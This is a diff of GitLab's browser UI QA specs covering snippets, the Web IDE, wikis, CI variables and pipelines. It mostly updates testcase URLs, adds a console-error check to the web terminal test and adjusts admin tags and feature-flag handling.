--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
@@ -26,7 +26,7 @@ module QA
snippet.remove_via_api!
end
- it 'creates a personal snippet with multiple files', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1654' do
+ it 'creates a personal snippet with multiple files', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347723' do
snippet.visit!
Page::Dashboard::Snippet::Show.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
index 1967273ca17..56cbe7d6bfa 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb
@@ -21,7 +21,7 @@ module QA
snippet.remove_via_api!
end
- it 'user creates a project snippet', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1358' do
+ it 'user creates a project snippet', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347798' do
snippet.visit!
Page::Dashboard::Snippet::Show.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_with_multiple_files_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_with_multiple_files_spec.rb
index ae71be26a38..3d69ef5dde6 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_with_multiple_files_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_with_multiple_files_spec.rb
@@ -28,7 +28,7 @@ module QA
snippet.remove_via_api!
end
- it 'creates a project snippet with multiple files', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1648' do
+ it 'creates a project snippet with multiple files', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347725' do
snippet.visit!
Page::Dashboard::Snippet::Show.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb
index 53e1e8e2e02..6777c113f36 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/share_snippet_spec.rb
@@ -21,7 +21,7 @@ module QA
end
context 'when the snippet is public' do
- it 'can be shared with not signed-in users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1248' do
+ it 'can be shared with not signed-in users', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347836' do
snippet.visit!
sharing_link = Page::Dashboard::Snippet::Show.perform do |snippet|
@@ -43,7 +43,7 @@ module QA
end
context 'when the snippet is changed to private' do
- it 'does not display Embed/Share dropdown', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1249' do
+ it 'does not display Embed/Share dropdown', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347835' do
snippet.visit!
Page::Dashboard::Snippet::Show.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
index b92c8e881ab..9735aa7959a 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/add_new_directory_in_web_ide_spec.rb
@@ -35,7 +35,7 @@ module QA
Page::Project::Show.perform(&:open_web_ide!)
end
- it 'throws an error', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1618' do
+ it 'throws an error', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347733' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.add_directory(directory_name)
end
@@ -51,7 +51,7 @@ module QA
Page::Project::Show.perform(&:open_web_ide!)
end
- it 'shows in the tree view but cannot be committed', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1619' do
+ it 'shows in the tree view but cannot be committed', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347732' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.add_directory(directory_name)
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
index 2e37cc98555..948417458fc 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/create_first_file_in_web_ide_spec.rb
@@ -16,7 +16,7 @@ module QA
Flow::Login.sign_in
end
- it "creates the first file in an empty project via Web IDE", testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1353' do
+ it "creates the first file in an empty project via Web IDE", testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347803' do
project.visit!
Page::Project::Show.perform(&:create_first_new_file!)
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
index 158e841514c..9c1d327f02c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/link_to_line_in_web_ide_spec.rb
@@ -18,7 +18,7 @@ module QA
project.remove_via_api!
end
- it 'can link to a specific line of code in Web IDE', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1844' do
+ it 'can link to a specific line of code in Web IDE', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347676' do
project.visit!
# Open Web IDE by using a keyboard shortcut
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
index 99a9bc5b2d0..758aae9f729 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb
@@ -14,7 +14,7 @@ module QA
let(:user) { Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1) }
context 'when no fork is present' do
- it 'suggests to create a fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1289' do
+ it 'suggests to create a fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347823' do
Flow::Login.sign_in(as: user)
parent_project.visit!
@@ -34,7 +34,7 @@ module QA
end
end
- it 'opens the fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1288' do
+ it 'opens the fork when a user clicks Web IDE in the main project', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347824' do
Flow::Login.sign_in(as: user)
fork_project.upstream.visit!
Page::Project::Show.perform do |project_page|
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
index 061ab66b271..fc5754e2c7a 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb
@@ -49,7 +49,7 @@ module QA
merge_request.visit!
end
- it 'opens and edits a multi-file merge request in Web IDE from Diff Tab', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1649' do
+ it 'opens and edits a multi-file merge request in Web IDE from Diff Tab', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347724' do
Page::MergeRequest::Show.perform do |show|
show.click_diffs_tab
show.edit_file_in_web_ide('file1')
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
index 7135e04e457..bd19d70ae5c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/review_merge_request_spec.rb
@@ -20,7 +20,7 @@ module QA
merge_request.visit!
end
- it 'opens and edits a merge request in Web IDE', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1420' do
+ it 'opens and edits a merge request in Web IDE', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347786' do
Page::MergeRequest::Show.perform do |show|
show.click_open_in_web_ide
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
index 705ee954bcb..3d9d5695d06 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/upload_new_file_in_web_ide_spec.rb
@@ -22,7 +22,7 @@ module QA
context 'when a file with the same name already exists' do
let(:file_name) { 'README.md' }
- it 'throws an error', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1214' do
+ it 'throws an error', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347850' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.upload_file(file_path)
end
@@ -34,7 +34,7 @@ module QA
context 'when the file is a text file' do
let(:file_name) { 'text_file.txt' }
- it 'shows the Edit tab with the text', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1212' do
+ it 'shows the Edit tab with the text', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347852' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.upload_file(file_path)
@@ -52,7 +52,7 @@ module QA
context 'when the file is binary' do
let(:file_name) { 'logo_sample.svg' }
- it 'shows a Download button', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1213' do
+ it 'shows a Download button', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347851' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.upload_file(file_path)
@@ -70,7 +70,7 @@ module QA
context 'when the file is an image' do
let(:file_name) { 'dk.png' }
- it 'shows an image viewer', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1211' do
+ it 'shows an image viewer', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347853' do
Page::Project::WebIDE::Edit.perform do |ide|
ide.upload_file(file_path)
diff --git a/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb b/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
index 51791c01048..022731faade 100644
--- a/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/web_ide/web_terminal_spec.rb
@@ -56,7 +56,7 @@ module QA
@runner.remove_via_api! if @runner
end
- it 'user starts the web terminal', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1593' do
+ it 'user starts the web terminal', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347737' do
Page::Project::Show.perform(&:open_web_ide!)
# Start the web terminal and check that there were no errors
@@ -65,6 +65,7 @@ module QA
# a) The terminal JS package has loaded, and
# b) It's not stuck in a "Loading/Starting" state, and
# c) There's no alert stating there was a problem
+ # d) There are no JS console errors
#
# The terminal itself is a third-party package so we assume it is
# adequately tested elsewhere.
@@ -78,6 +79,17 @@ module QA
expect(edit).to have_finished_loading
expect(edit).to have_terminal_screen
end
+
+ # It takes a few seconds for console errors to appear
+ sleep 3
+
+ errors = page.driver.browser.logs.get(:browser)
+ .select { |e| e.level == "SEVERE" }
+ .to_a
+
+ if errors.present?
+ raise("Console error(s):\n#{errors.join("\n\n")}")
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/content_editor_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/content_editor_spec.rb
index bd4b82d8ea0..a063acbe146 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/content_editor_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/content_editor_spec.rb
@@ -1,12 +1,13 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create' do
+ RSpec.describe 'Create', :requires_admin do # remove :requires_admin once the ff is enabled by default in https://gitlab.com/gitlab-org/gitlab/-/issues/345398
context 'Content Editor' do
let(:initial_wiki) { Resource::Wiki::ProjectPage.fabricate_via_api! }
let(:page_title) { 'Content Editor Page' }
let(:heading_text) { 'My New Heading' }
let(:image_file_name) { 'testfile.png' }
+ let!(:toggle) { Runtime::Feature.enabled?(:wiki_switch_between_content_editor_raw_markdown) }
before do
Flow::Login.sign_in
@@ -16,14 +17,14 @@ module QA
initial_wiki.project.remove_via_api!
end
- it 'creates a formatted Wiki page with an image uploaded', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1919' do
+ it 'creates a formatted Wiki page with an image uploaded', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347640' do
initial_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_new_page)
Page::Project::Wiki::Edit.perform do |edit|
edit.set_title(page_title)
- edit.use_new_editor
+ edit.use_new_editor(toggle)
edit.add_heading('Heading 1', heading_text)
edit.upload_image(File.absolute_path(File.join('qa', 'fixtures', 'designs', image_file_name)))
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
index 40188fae06c..648ef513e12 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_creation_spec.rb
@@ -15,7 +15,7 @@ module QA
Flow::Login.sign_in
end
- it 'by adding a home page to the wiki', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1347' do
+ it 'by adding a home page to the wiki', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347809' do
project.visit!
Page::Project::Menu.perform(&:click_wiki)
@@ -35,7 +35,7 @@ module QA
end
end
- it 'by adding a second page to the wiki', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1348' do
+ it 'by adding a second page to the wiki', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347808' do
wiki.visit!
Page::Project::Wiki::Show.perform(&:click_new_page)
@@ -54,7 +54,7 @@ module QA
end
end
- it 'by adding a home page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1350' do
+ it 'by adding a home page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347806' do
empty_wiki = Resource::Wiki::ProjectPage.new do |empty_wiki|
empty_wiki.project = project
end
@@ -73,7 +73,7 @@ module QA
end
end
- it 'by adding a second page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1349' do
+ it 'by adding a second page to the wiki using git push', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347807' do
Resource::Repository::WikiPush.fabricate! do |push|
push.file_name = "#{new_wiki_title}.md"
push.file_content = new_wiki_content
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
index 5b277d07fea..251728c149f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_content_manipulation_spec.rb
@@ -14,7 +14,7 @@ module QA
Flow::Login.sign_in
end
- it 'by manipulating content on the page', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1346' do
+ it 'by manipulating content on the page', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347810' do
wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
@@ -33,7 +33,7 @@ module QA
end
end
- it 'by manipulating content on the page using git push', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1345' do
+ it 'by manipulating content on the page using git push', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347811' do
Resource::Repository::WikiPush.fabricate! do |push|
push.file_content = new_wiki_content
push.commit_message = commit_message
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
index 9784ad2e9c1..2d24f69c883 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_directory_management_spec.rb
@@ -10,7 +10,7 @@ module QA
Flow::Login.sign_in
end
- it 'has changed the directory', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1293' do
+ it 'has changed the directory', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347821' do
initial_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
index c91fc8e10f7..703d425079d 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_list_spec.rb
@@ -15,7 +15,7 @@ module QA
end
context 'Sidebar' do
- it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1317' do
+ it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347814' do
small_wiki.visit!
small_number_of_pages.times do |index|
@@ -35,7 +35,7 @@ module QA
end
context 'Page List' do
- it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1318' do
+ it 'has all expected links that work', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347813' do
large_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_view_all_pages)
diff --git a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
index 71ce042f0a3..78d6d51f260 100644
--- a/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/wiki/project_based_page_deletion_spec.rb
@@ -10,7 +10,7 @@ module QA
end
context 'Page deletion' do
- it 'has removed the deleted page correctly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1310' do
+ it 'has removed the deleted page correctly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347815' do
initial_wiki.visit!
Page::Project::Wiki::Show.perform(&:click_edit)
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
index c8b308d53ef..fa8d0d1501c 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb
@@ -16,7 +16,7 @@ module QA
add_ci_variable
end
- it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1597' do
+ it 'user adds a CI variable', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348027' do
Page::Project::Settings::CiVariables.perform do |ci_variable|
expect(ci_variable).to have_text('VARIABLE_KEY')
expect(ci_variable).not_to have_text('some_CI_variable')
@@ -27,7 +27,7 @@ module QA
end
end
- it 'user removes a CI variable', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1598' do
+ it 'user removes a CI variable', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348026' do
Page::Project::Settings::CiVariables.perform do |ci_variable|
ci_variable.click_edit_ci_variable
ci_variable.click_ci_variable_delete_button
diff --git a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
index 4d21a98e072..7704111ea21 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/ci_variable/pipeline_with_protected_variable_spec.rb
@@ -61,7 +61,7 @@ module QA
runner.remove_via_api!
end
- it 'exposes variable on protected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1714' do
+ it 'exposes variable on protected branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348005' do
create_protected_branch
[developer, maintainer].each do |user|
@@ -74,7 +74,7 @@ module QA
end
end
- it 'does not expose variable on unprotected branch', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1885' do
+ it 'does not expose variable on unprotected branch', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347664' do
[developer, maintainer].each do |user|
create_merge_request(Runtime::API::Client.new(:gitlab, user: user))
go_to_pipeline_job(user)
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
index e6910ad8592..bd3135bafdc 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
@@ -23,7 +23,7 @@ module QA
[runner, project].each(&:remove_via_api!)
end
- it 'users creates a pipeline which gets processed', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1601' do
+ it 'users creates a pipeline which gets processed', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348024' do
Flow::Login.sign_in
Resource::Repository::Commit.fabricate_via_api! do |commit|
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb
index 27b45d1a2a0..f2ebc191a8a 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_local_config_file_paths_with_wildcard_spec.rb
@@ -20,7 +20,7 @@ module QA
project.remove_via_api!
end
- it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1814' do
+ it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348002' do
Page::Project::Pipeline::Show.perform do |pipeline|
aggregate_failures 'pipeline has all expected jobs' do
expect(pipeline).to have_job('build')
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
index 9d145a3becf..9521cd20fc5 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb
@@ -39,7 +39,7 @@ module QA
runner.remove_via_api!
end
- it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1223' do
+ it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348087' do
Page::Project::Pipeline::Show.perform do |pipeline|
aggregate_failures 'pipeline has all expected jobs' do
expect(pipeline).to have_job('build')
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
index 7faf4114d02..9abb25c8dc1 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/locked_artifacts_spec.rb
@@ -30,7 +30,7 @@ module QA
runner.remove_via_api!
end
- it 'can be browsed', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1808' do
+ it 'can be browsed', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348003' do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.project = project
commit.commit_message = 'Add .gitlab-ci.yml'
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
index 8dfd485bbf1..d201627218e 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/merge_mr_when_pipline_is_blocked_spec.rb
@@ -68,7 +68,7 @@ module QA
runner.remove_via_api!
end
- it 'can still merge MR successfully', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1281' do
+ it 'can still merge MR successfully', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348080' do
Page::MergeRequest::Show.perform do |show|
# waiting for manual action status shows status badge 'blocked' on pipelines page
show.has_pipeline_status?('waiting for manual action')
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
index 0ddfcf8cafb..65561bbba29 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/mr_event_rule_pipeline_spec.rb
@@ -66,7 +66,7 @@ module QA
project.remove_via_api!
end
- it 'only runs the job configured to run on merge requests', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1890' do
+ it 'only runs the job configured to run on merge requests', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347662' do
Page::Project::Pipeline::Show.perform do |pipeline|
aggregate_failures do
expect(pipeline).to have_job(mr_only_job_name)
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
index 9fd54251411..22bb5fed84c 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb
@@ -42,7 +42,7 @@ module QA
[upstream_project, downstream_project].each(&:remove_via_api!)
end
- it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/1221' do
+ it 'runs the pipeline with composed config', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348088' do
Page::Project::Pipeline::Show.perform do |parent_pipeline|
Support::Waiter.wait_until { parent_pipeline.has_child_pipeline? }
parent_pipeline.expand_child_pipeline
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb
index 1a2d450f7eb..8d2af3ea0df 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb
@@ -2,7 +2,9 @@
module QA
RSpec.describe 'Verify' do
- describe 'Pipeline editor', :requires_admin do
+ describe 'Pipeline editor' do
+ let(:random_test_string) { SecureRandom.hex(10) }
+
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'pipeline-editor-project'
@@ -17,70 +19,71 @@ module QA
[
{
file_path: '.gitlab-ci.yml',
- content: default_file_content
+ content: <<~YAML
+ stages:
+ - test
+
+ initialize:
+ stage: test
+ script:
+ - echo "I am now on branch #{project.default_branch}"
+ YAML
}
]
)
end
end
- let!(:production_push) do
- Resource::Repository::Push.fabricate! do |push|
- push.repository_http_uri = project.repository_http_location.uri
- push.branch_name = 'production'
- push.file_name = '.gitlab-ci.yml'
- push.file_content = production_file_content
- end
- end
-
- let(:default_file_content) do
- <<~YAML
- stages:
- - test
-
- initialize:
- stage: test
